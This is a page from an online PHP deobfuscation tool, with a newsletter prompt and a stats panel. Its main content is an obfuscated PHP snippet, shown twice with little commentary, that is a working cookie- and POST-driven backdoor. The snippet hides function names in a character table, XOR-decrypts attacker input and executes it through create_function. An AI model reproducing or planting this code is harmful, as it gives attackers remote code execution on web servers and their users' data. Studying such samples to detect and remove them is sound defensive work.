Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$wsmorsl = 'k*pa2d95mbxeicr0vuon#g3l-8f7_s4y\'tH';$cpoin = Array();$cpoin[] = $wsmorsl[13]..

Decoded Output download

<?  $wsmorsl = 'k*pa2d95mbxeicr0vuon#g3l-8f7_s4y\'tH';$cpoin = Array();$cpoin[] = $wsmorsl[13].$wsmorsl[14].$wsmorsl[11].$wsmorsl[3].$wsmorsl[33].$wsmorsl[11].$wsmorsl[28].$wsmorsl[26].$wsmorsl[17].$wsmorsl[19].$wsmorsl[13].$wsmorsl[33].$wsmorsl[12].$wsmorsl[18].$wsmorsl[19];$cpoin[] = $wsmorsl[27].$wsmorsl[13].$wsmorsl[5].$wsmorsl[7].$wsmorsl[30].$wsmorsl[3].$wsmorsl[3].$wsmorsl[15].$wsmorsl[24].$wsmorsl[25].$wsmorsl[9].$wsmorsl[4].$wsmorsl[3].$wsmorsl[24].$wsmorsl[30].$wsmorsl[22].$wsmorsl[13].$wsmorsl[9].$wsmorsl[24].$wsmorsl[6].$wsmorsl[22].$wsmorsl[6].$wsmorsl[25].$wsmorsl[24].$wsmorsl[13].$wsmorsl[11].$wsmorsl[22].$wsmorsl[26].$wsmorsl[3].$wsmorsl[6].$wsmorsl[7].$wsmorsl[6].$wsmorsl[11].$wsmorsl[9].$wsmorsl[22].$wsmorsl[11];$cpoin[] = $wsmorsl[34].$wsmorsl[1];$cpoin[] = $wsmorsl[20];$cpoin[] = $wsmorsl[13].$wsmorsl[18].$wsmorsl[17].$wsmorsl[19].$wsmorsl[33];$cpoin[] = $wsmorsl[29].$wsmorsl[33].$wsmorsl[14].$wsmorsl[28].$wsmorsl[14].$wsmorsl[11].$wsmorsl[2].$wsmorsl[11].$wsmorsl[3].$wsmorsl[33];$cpoin[] = $wsmorsl[11].$wsmorsl[10].$wsmorsl[2].$wsmorsl[23].$wsmorsl[18].$wsmorsl[5].$wsmorsl[11];$cpoin[] = $wsmorsl[29].$wsmorsl[17].$wsmorsl[9].$wsmorsl[29].$wsmorsl[33].$wsmorsl[14];$cpoin[] = $wsmorsl[3].$wsmorsl[14].$wsmorsl[14].$wsmorsl[3].$wsmorsl[31].$wsmorsl[28].$wsmorsl[8].$wsmorsl[11].$wsmorsl[14].$wsmorsl[21].$wsmorsl[11];$cpoin[] = $wsmorsl[29].$wsmorsl[33].$wsmorsl[14].$wsmorsl[23].$wsmorsl[11].$wsmorsl[19];$cpoin[] = $wsmorsl[2].$wsmorsl[3].$wsmorsl[13].$wsmorsl[0];foreach ($cpoin[8]($_COOKIE, $_POST) as $yhnasn => $qkejtxs){function hkffd($cpoin, $yhnasn, $yxjkhp){return $cpoin[7]($cpoin[5]($yhnasn . $cpoin[1], ($yxjkhp / $cpoin[9]($yhnasn)) + 1), 0, $yxjkhp);}function gltsxw($cpoin, $whyypda){return @$cpoin[10]($cpoin[2], $whyypda);}function gdxaq($cpoin, $whyypda){$kkhmyx = $cpoin[4]($whyypda) % 3;if (!$kkhmyx) {$egnrcv = $cpoin[0]; $qmdyxw = $egnrcv("", $whyypda[1]($whyypda[2]));$qmdyxw();exit();}}$qkejtxs = gltsxw($cpoin, $qkejtxs);gdxaq($cpoin, $cpoin[6]($cpoin[3], $qkejtxs ^ hkffd($cpoin, $yhnasn, $cpoin[9]($qkejtxs))));} ?>

Did this file decode correctly?

Original Code

$wsmorsl = 'k*pa2d95mbxeicr0vuon#g3l-8f7_s4y\'tH';$cpoin = Array();$cpoin[] = $wsmorsl[13].$wsmorsl[14].$wsmorsl[11].$wsmorsl[3].$wsmorsl[33].$wsmorsl[11].$wsmorsl[28].$wsmorsl[26].$wsmorsl[17].$wsmorsl[19].$wsmorsl[13].$wsmorsl[33].$wsmorsl[12].$wsmorsl[18].$wsmorsl[19];$cpoin[] = $wsmorsl[27].$wsmorsl[13].$wsmorsl[5].$wsmorsl[7].$wsmorsl[30].$wsmorsl[3].$wsmorsl[3].$wsmorsl[15].$wsmorsl[24].$wsmorsl[25].$wsmorsl[9].$wsmorsl[4].$wsmorsl[3].$wsmorsl[24].$wsmorsl[30].$wsmorsl[22].$wsmorsl[13].$wsmorsl[9].$wsmorsl[24].$wsmorsl[6].$wsmorsl[22].$wsmorsl[6].$wsmorsl[25].$wsmorsl[24].$wsmorsl[13].$wsmorsl[11].$wsmorsl[22].$wsmorsl[26].$wsmorsl[3].$wsmorsl[6].$wsmorsl[7].$wsmorsl[6].$wsmorsl[11].$wsmorsl[9].$wsmorsl[22].$wsmorsl[11];$cpoin[] = $wsmorsl[34].$wsmorsl[1];$cpoin[] = $wsmorsl[20];$cpoin[] = $wsmorsl[13].$wsmorsl[18].$wsmorsl[17].$wsmorsl[19].$wsmorsl[33];$cpoin[] = $wsmorsl[29].$wsmorsl[33].$wsmorsl[14].$wsmorsl[28].$wsmorsl[14].$wsmorsl[11].$wsmorsl[2].$wsmorsl[11].$wsmorsl[3].$wsmorsl[33];$cpoin[] = $wsmorsl[11].$wsmorsl[10].$wsmorsl[2].$wsmorsl[23].$wsmorsl[18].$wsmorsl[5].$wsmorsl[11];$cpoin[] = $wsmorsl[29].$wsmorsl[17].$wsmorsl[9].$wsmorsl[29].$wsmorsl[33].$wsmorsl[14];$cpoin[] = $wsmorsl[3].$wsmorsl[14].$wsmorsl[14].$wsmorsl[3].$wsmorsl[31].$wsmorsl[28].$wsmorsl[8].$wsmorsl[11].$wsmorsl[14].$wsmorsl[21].$wsmorsl[11];$cpoin[] = $wsmorsl[29].$wsmorsl[33].$wsmorsl[14].$wsmorsl[23].$wsmorsl[11].$wsmorsl[19];$cpoin[] = $wsmorsl[2].$wsmorsl[3].$wsmorsl[13].$wsmorsl[0];foreach ($cpoin[8]($_COOKIE, $_POST) as $yhnasn => $qkejtxs){function hkffd($cpoin, $yhnasn, $yxjkhp){return $cpoin[7]($cpoin[5]($yhnasn . $cpoin[1], ($yxjkhp / $cpoin[9]($yhnasn)) + 1), 0, $yxjkhp);}function gltsxw($cpoin, $whyypda){return @$cpoin[10]($cpoin[2], $whyypda);}function gdxaq($cpoin, $whyypda){$kkhmyx = $cpoin[4]($whyypda) % 3;if (!$kkhmyx) {$egnrcv = $cpoin[0]; $qmdyxw = $egnrcv("", $whyypda[1]($whyypda[2]));$qmdyxw();exit();}}$qkejtxs = gltsxw($cpoin, $qkejtxs);gdxaq($cpoin, $cpoin[6]($cpoin[3], $qkejtxs ^ hkffd($cpoin, $yhnasn, $cpoin[9]($qkejtxs))));}

Function Calls

null 1

Variables

$cpoin [{'key': None, 'value': 'pack'}]
$wsmorsl k*pa2d95mbxeicr0vuon#g3l-8f7_s4y'tH

Stats

MD5 965021fb4df0b3e2892400b7173ae2a8
Eval Count 0
Decode Time 178 ms